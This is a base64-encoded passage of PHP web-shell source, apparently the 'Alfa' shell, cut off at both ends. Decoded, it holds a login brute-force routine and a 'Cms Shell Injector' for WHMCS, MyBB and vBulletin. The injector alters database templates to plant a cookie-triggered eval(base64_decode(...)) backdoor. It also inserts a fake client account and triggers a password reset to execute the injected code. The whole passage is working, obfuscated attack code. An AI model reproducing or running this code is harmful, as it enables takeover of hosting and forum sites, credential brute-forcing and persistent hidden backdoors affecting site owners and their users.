nKSwnJywkX1BPU1RbJ2FsZmExJ10pOwokcG9ydCA9ICRfUE9TVFsnYWxmYTInXTsKJHVzZXJuYW1lcz0gJF9QT1NUWydhbGZhMyddOwokcGFzc3dvcmRzID0gJF9QT1NUWydhbGZhNCddOwokZmNyYWNrID0gJF9QT1NUWydhbGZhNSddOwokY3JhY2tpbmcgPSAkX1BPU1RbJ2FsZmE2J107CiRwcm90b2NvbCA9ICRfUE9TVFsnYWxmYTcnXTsKJGxvZ2lucGFuZWwgPSAkX1BPU1RbJ2FsZmE4J107CiRwID0gJGxvZ2lucGFuZWwgPT0gJ3BocG15YWRtaW4nID8gJHAgPSB0cnVlIDogZmFsc2U7CmlmKCRjcmFja2luZz09J3N0YXJ0Jyl7CmVjaG8gX19wcmUoKTsKJGV4dXNlciA9IGV4cGxvZGUoIlxuIiwkdXNlcm5hbWVzKTsKJGV4cHcgPSBleHBsb2RlKCJcbiIsJHBhc3N3b3Jkcyk7CmZvcmVhY2goJGV4dXNlciBhcyAkdXNlcil7CmZvcmVhY2goJGV4cHcgYXMgJHB3KXsKJGFycmF5ID0gYXJyYXkoJ3VzZXJuYW1lJyA9PiB0cmltKCR1c2VyKSwncGFzc3dvcmQnID0+IHRyaW0oJHB3KSwncG9ydCcgPT4gdHJpbSgkcG9ydCksJ3RhcmdldCcgPT4gdHJpbSgkdGFyZ2V0KSwncHJvdG9jb2wnID0+IHRyaW0oJHByb3RvY29sKSwnZmNyYWNrJyA9PiB0cmltKCRmY3JhY2spLCdteXNxbCcgPT4gJHApOwpBbGZhX0NhbGxfRnVuY3Rpb25fQ3JhY2tlcigkbG9naW5wYW5lbCwkYXJyYXkpOwp9Cn0KZWNobyAnPGJyPjxmb250IGNvbG9yPSJyZWQiPkF0dGFjayBGaW5pc2hlZC4uLjwvZm9udD4nOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBvdXRwdXQoJHN0cmluZyl7IGVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSciLiRzdHJpbmcuIic+Q2xpY2sgSGVyZSAhPC9hPjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iO30KZnVuY3Rpb24gYWxmYVNoZWxsSW5qZWN0b3JzKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CkFsZmFOdW0oMTEpOwplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBTaGVsbCBJbmplY3RvciB8PC9kaXY+PC9wPjxjZW50ZXI+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsXCd3aG1jc1wnLG51bGwpIj58IFdITUNTIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsbnVsbCxcJ3ZiXCcpIj58IHZCdWxsZXRpbiB8PC9hPjwvaDM+PC9jZW50ZXI+JzsKJHNlbGVjdG9yID0gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPlNoZWxsIEluamVjdCBNZXRob2QgOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSJtZXRob2QiIHN0eWxlPSJ3aWR0aDoxMDBweDsiPjxvcHRpb24gdmFsdWU9ImF1dG8iPkF1dG9NYXRpYzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1hbiI+TWFudWVsPC9vcHRpb24+PC9zZWxlY3Q+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgJF9QT1NUWydhbGZhMSddPT0gJ3dobWNzJyl7CkFsZmFOdW0oKTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXSE1DUyB8PC9kaXY+PC9wPjxjZW50ZXI+PGNlbnRlcj48cD4iLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuIjwvcD48Zm9ybSBvblN1Ym1pdD1cImcoJ1NoZWxsSW5qZWN0b3JzJyxudWxsLCd3aG1jcycsbnVsbCxudWxsLHRoaXMubWV0aG9kLnZhbHVlLG51bGwsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5wYXRoLnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXRoIFdITUNTIFVybCA6ICcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlciA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcyA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJHNlbGVjdG9yOwplY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9wPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwppZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKSB7CiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107CiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107CiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107CiRkYmggPSAkX1BPU1RbJ2FsZmE5J107CiRwYXRoID0gJF9QT1NUWydhbGZhMTAnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsKJGluZGV4ID0gIntwaHB9Ii5BTEZBX1VQTE9BREVSLiI7ey9waHB9IjsKJG5ld2luID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGluZGV4KTsKJG5ld2luZGV4ID0gIjxwPkRlYXIgJG5ld2luLDwvcD48cD5SZWNlbnRseSBhIHJlcXVlc3Qgd2FzIHN1Ym1pdHRlZCB0byByZXNldCB5b3VyIHBhc3N3b3JkIGZvciBvdXIgY2xpZW50IGFyZWEuIElmIHlvdSBkaWQgbm90IHJlcXVlc3QgdGhpcywgcGxlYXNlIGlnbm9yZSB0aGlzIGVtYWlsLiBJdCB3aWxsIGV4cGlyZSBhbmQgYmVjb21lIHVzZWxlc3MgaW4gMiBob3VycyB0aW1lLjwvcD48cD5UbyByZXNldCB5b3VyIHBhc3N3b3JkLCBwbGVhc2UgdmlzaXQgdGhlIHVybCBiZWxvdzo8YnIgLz48YSBocmVmPVwie1wkcHdfcmVzZXRfdXJsfVwiPntcJHB3X3Jlc2V0X3VybH08L2E+PC9wPjxwPldoZW4geW91IHZpc2l0IHRoZSBsaW5rIGFib3ZlLCB5b3VyIHBhc3N3b3JkIHdpbGwgYmUgcmVzZXQsIGFuZCB0aGUgbmV3IHBhc3N3b3JkIHdpbGwgYmUgZW1haWxlZCB0byB5b3UuPC9wPjxwPntcJHNpZ25hdHVyZX08L3A+e3BocH1pZihcJF9DT09LSUVbXCJzZWNcIl0gPT0gXCIxMjNcIil7ZXZhbChiYXNlNjRfZGVjb2RlKFwkX0NPT0tJRVtcInNlYzJcIl0pKTsgZGllKFwiIVwiKTt9e1wvcGhwfSI7CmlmKCFlbXB0eSgkZGJoKSAmJiAhZW1wdHkoJGRidSkgJiYgIWVtcHR5KCRkYm4pICYmICFlbXB0eSgkaW5kZXgpKXsKaWYoZmlsdGVyX3ZhcigkcGF0aCxGSUxURVJfVkFMSURBVEVfVVJMKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9jb25uZWN0X2Vycm9yKCkpOwokc29sZVNhdmU9IG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3aGVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOwokc29sZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZVNhdmUpOwokdGVtcFNhdmUxID0gJHNvbGVHZXRbJ21lc3NhZ2UnXTsKJHRlbXBTYXZlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHRlbXBTYXZlMSk7Cm15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFIHRibGNvbmZpZ3VyYXRpb24gU0VUIHZhbHVlID0gJzEnIFdIRVJFIHNldHRpbmcgPSAnQWxsb3dTbWFydHlQaHBUYWdzJyIpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckbmV3aW5kZXgnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSI7CiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokQWxmYVNvbGUgPSBuZXcgQWxmYUNVUkwodHJ1ZSk7CiRzYXZldXJsID0gJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsKJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOwokQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9c29sZXZpc2libGVAZmJpLmdvdiIpOwokYmFja2RhdGEgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSd7JHRlbXBTYXZlfScgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOwokU29sZXZpc2libGUgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpfX2FsZXJ0KCJzaGVsbCBpbmplY3RldC4uLiIpOwokZmY9ICdodHRwOi8vJy4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7Cm91dHB1dCgkZmYpO31lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBocDwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5zb2xldmlzaWJsZUBmYmkuZ292PC9mb250Pjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9zb2xldmlzaWJsZS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0KfWlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0gJ215YmInKXsKQWxmYU51bSgxLDIsMyw1KTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJz0+J2RiX25hbWUnICwnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0VmFsdWUnID0+ICdteWJiXycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpIHsKJGRidSA9ICRfUE9TVFsnYWxmYTYnXTsKJGRibiA9ICRfUE9TVFsnYWxmYTcnXTsKJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsKJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107CiRzaGVsbENvZGUgPSAie1wkeyIuQUxGQV9VUExPQURFUi4ifX0iOwokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRzaGVsbENvZGUpOwppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOwokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokR2V0VGVtcCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107CiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2ZURhdGUpOwokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRyZXBzYXZlKTsKJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0aXRsZSA9ICdjYWxlbmRhciciOwokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSAic2VsZWN0IHZhbHVlIGZyb20geyRwcmVmaXh9c2V0dGluZ3Mgd2hlcmUgbmFtZT0gJ2JidXJsJyI7CiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsKJGZ1cmwgPSAkcm93YlsndmFsdWUnXTsKJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7CmlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApewppZiAoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRyZXBhaXJkYnRlbXAgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICckcmVwc2F2ZScgd2hlcmUgdGl0bGUgPSAnY2FsZW5kYXInIjsKJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaXJkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRBbGZhQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOwpvdXRwdXQoJGZmKTsKfWVsc2V7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiOwokZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7CmVjaG8gIjxicj48cHJlIGlkPSdzdHJPdXRwdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9J21sMSc+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9JyNGRkZGRkYnPlBsZWFzZSBHbyBUbyBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZi4iPC9hPjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkgJiYgJF9QT1NUWydhbGZhMyddPT0gJ3ZiJyl7CkFsZmFOdW0oMSwyLDcsOSwxMCk7CmVjaG8gX19wcmUoKS4nPHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdmJ1bGxldGluIHw8L2Rpdj48L3A+PHA+Jy5nZXRDb25maWdIdG1sKCd2YicpLic8L3A+PGZvcm0gbmFtZT0iZnJtIiBtZXRob2Q9IlBPU1QiIG9uc3VibWl0PSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsdGhpcy5sby52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VyLnZhbHVlLHRoaXMucGFzcy52YWx1ZSx0aGlzLnRhYi52YWx1ZSx0aGlzLmRiLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdIb3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2xvJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGInLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVXNlciBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ3VzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAncGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4IDogJywgJ2lucHV0TmFtZScgPT4gJ3RhYicsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJHNlbGVjdG9yOwplY2hvICc8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pKXsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTgnXTsKJGZhcV9uYW1lID0gImZhcSI7CiRmYXFfZmlsZSA9ICIvZmFxLnBocCI7CiRjb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19e1wke2V4aXQoKX19JiI7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhNCddLCRfUE9TVFsnYWxmYTUnXSwkX1BPU1RbJ2FsZmE3J10pIG9yIGRpZShAbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7CiRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTsKJGdldGQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZWNpdmVkYXRhKTsKJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwppZihlbXB0eSgkc2F2ZXRvYXNzKSl7CgkkZmFxX25hbWUgPSAiaGVhZGVyIjsKCSRmYXFfZmlsZSA9ICIvIjsKCSRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CgkkcmVjaXZlZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHJlYyk7CgkkZ2V0ZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlY2l2ZWRhdGEpOwoJJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwoJJGNvZGUgPSBBTEZBX1VQTE9BREVSLiI7IjsKfQokY29kZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRjb2RlKTsKJHAgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgYHRlbXBsYXRlYD0nIi4kY29kZS4iJyBXSEVSRSBgdGl0bGVgPSciLiRmYXFfbmFtZS4iJyI7CiRrYT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcCkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokZ2V0dXJsID0gQG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IGB2YWx1ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4ic2V0dGluZyBXSEVSRSBgdmFybmFtZWA9J2JidXJsJyIpOwokZ2V0dmFsID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0dXJsKTsKJHNhdmV2YWwgPSAkZ2V0dmFsWyd2YW